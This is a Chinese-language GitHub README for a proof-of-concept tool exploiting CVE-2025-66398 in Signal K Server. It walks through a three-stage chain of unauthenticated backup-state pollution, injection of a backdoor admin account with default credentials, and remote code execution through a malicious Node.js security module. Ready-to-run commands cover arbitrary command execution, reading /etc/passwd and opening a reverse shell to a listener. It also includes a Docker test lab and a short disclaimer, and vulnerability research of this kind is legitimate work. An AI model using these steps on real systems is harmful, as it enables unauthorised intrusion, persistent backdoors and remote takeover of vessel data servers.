joshuavanderpoll/cve-2025-66398

GitHub: joshuavanderpoll/cve-2025-66398

Signal K Server 远程代码执行漏洞(CVE-2025-66398)的概念验证工具,实现从状态污染、后门注入到 RCE 的完整三阶段攻击链。

Stars: 1 | Forks: 0

CVE-2025-66398 — Signal K Server RCE PoC

Go Python

## 📜 描述 CVE-2025-66398 是 Signal K Server 中的一个漏洞,未经认证的攻击者可以通过 `/skServer/validateBackup` 污染服务器的恢复状态,随后通过 `/skServer/restore` 劫持配置以注入后门管理员账户,并(可选地)通过将安全策略切换为攻击者控制的 Node.js 模块来实现 RCE。 **受影响版本:** Signal K Server ≤ 2.18.0 **影响(高层概述):** 未经认证的状态污染 → 后门管理员注入 → 远程代码执行(当发生恢复 + 重启时) ## ✨ 功能 - **漏洞检查** — 测试 `/skServer/validateBackup` 是否接受未经认证的上传。 - **交互式利用流程** — 引导您完成 3 个阶段,并提示输入凭据/路径。 - **非交互模式** — 使用标志运行完整链条(检查、命令执行、读/写文件、反向 Shell)。 ## 🛠️ 安装 ### Python #### OSX/Linux ``` git clone https://github.com/joshuavanderpoll/cve-2025-66398.git cd CVE-2025-66398 python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt ``` #### Windows ``` git clone https://github.com/joshuavanderpoll/cve-2025-66398.git cd CVE-2025-66398 python3 -m venv .venv .venv\Scripts\activate pip3 install -r requirements.txt ``` ### GoLang ``` git clone https://github.com/joshuavanderpoll/cve-2025-66398.git cd CVE-2025-66398 go build -o exp cve-2025-66398.go ``` #### 使用 Go 直接安装 ``` go install github.com/joshuavanderpoll/cve-2025-66398@latest ``` #### 不安装直接运行 ``` go run github.com/joshuavanderpoll/cve-2025-66398@latest -t http://127.0.0.1:8111 ``` ## ⚙️ 用法 此 PoC 有两种模式: - **交互式**(默认):引导式提示 + 小型菜单。 - **非交互式**:传递标志如 `-check`、`-command`、`-read-file` 等。(建议在首次成功运行交互模式后使用) ### 帮助 / 选项 ``` python3 cve-2025-66398.py -h # 或 GoLang 版本 ./cve-2025-66398 -h ___ __ ___ ___ __ __ _______ ___ ____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ ) / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \ \__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/ https://github.com/joshuavanderpoll/cve-2025-66398 usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD] [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT] CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE options: -h, --help show this help message and exit -target URL Base URL of the Signal K server -useragent UA User-Agent header for all HTTP requests -timeout SEC Request timeout in seconds (default: 10) -target-os OS Target server OS for payload/path adaptation: linux (default) or windows -signalk-dir DIR Override the Signal K data directory on the target (default: OS-dependent) -check Test if the target is vulnerable without exploiting it -admin-user USER Admin username for Phase 2 restore -admin-pass PASS Admin password for Phase 2 restore -backdoor-user USER Backdoor username to inject (default: backdoor) -backdoor-pass PASS Backdoor password to inject (default: H4CK1nd3x!) -command CMD Execute a command on the server (non-interactive) -read-file PATH Read a remote file via RCE -write-file CONTENT PATH Write CONTENT to PATH on the server via RCE -code CODE Inject raw Node.js code as the security module -shell Deploy a reverse shell (requires -lhost and -lport) -lhost HOST Listener host for reverse shell -lport PORT Listener port for reverse shell ``` ### 快速检查(安全) ``` python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check # 或 GoLang 版本 ./cve-2025-66398 -target http://127.0.0.1:3000 -check ``` ![检查漏洞](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f898028754055236.jpg) ### 交互式利用(引导式) ``` python3 cve-2025-66398.py -target http://127.0.0.1:3000 # 或 GoLang 版本 ./cve-2025-66398 -target http://127.0.0.1:3000 ``` ![交互式脚本](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/15a86087e2055237.jpg) 脚本将执行: 1. **阶段 1 — 状态污染:** 将恶意 `.backup` 上传到 `/skServer/validateBackup`(无需认证) 2. **阶段 2 — 配置劫持:** 以管理员身份认证并触发 `/skServer/restore` 3. **阶段 3 — RCE:** 上传第二个备份,将安全策略指向恶意模块,触发恢复、重启,然后运行您的命令 / Shell ### 非交互式示例 运行完整链条(阶段 1 → 3)并执行命令: ``` python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user -admin-pass -command "id" # 或 GoLang 版本 ./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user -admin-pass -command "id" ``` ![命令执行](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/4e49798d04055239.jpg) 读取远程文件(阶段 3): ``` python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user -admin-pass -read-file /etc/passwd # 或 GoLang 版本 ./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user -admin-pass -read-file /etc/passwd ``` ![读取文件](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d0a43c9688055241.jpg) 反向 Shell(阶段 3): ``` nc -lvnp 4444 python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user -admin-pass -shell -lhost -lport 4444 # 或 GoLang 版本 ./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user -admin-pass -shell -lhost -lport 4444 ``` ![反向 Shell](https://raw.githubusercontent.com/joshuavanderpoll/cve-2025-66398/main/assets/reverse_shell.jpg) 注意: - 如果您没有传递 `-admin-user/-admin-pass`,脚本将假定后门账户已在先前运行中激活。 - 默认后门凭据为 `backdoor` / `H4CK1nd3x!`(使用 `-backdoor-user` / `-backdoor-pass` 覆盖)。 - 阶段 3 需要 Signal K 数据目录。脚本将在阶段 2 期间尝试自动检测;如果无法检测,请传递 `-signalk-dir `。 ## 🐋 Docker PoC 包含易受攻击软件的自包含 Docker Compose 环境,用于本地测试。 查看 [DOCKER.md](/docker/DOCKER.md) 了解更多详情 ``` cd docker/ docker compose up -d python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 ``` ## 🕵🏼 参考 - [Signal K Server](https://github.com/SignalK/signalk-server) - [NVD — CVE-2025-66398](https://nvd.nist.gov/vuln/detail/CVE-2025-66398) - [HackIndex.io — CVE-2025-66398](https://hackindex.io/vulnerabilities/CVE-2025-66398) ## 📢 免责声明 此 PoC 仅用于教育和授权安全测试。请勿对您不拥有或未获得明确测试许可的系统运行它。
标签:CISA项目, CVE-2025-66398, EVTX分析, GNU通用公共许可证, Go, maritime, Maven, MITM代理, Node.js, PE 加载器, PoC, Python, RCE, Ruby工具, Signal K Server, T1059, T1078, T1105, T1190, T1505, T1566, 协议分析, 反向Shell, 后门植入, 备份恢复漏洞, 无后门, 日志审计, 暴力破解, 未授权访问, 权限提升, 漏洞验证, 状态污染, 编程工具, 网络信息收集, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护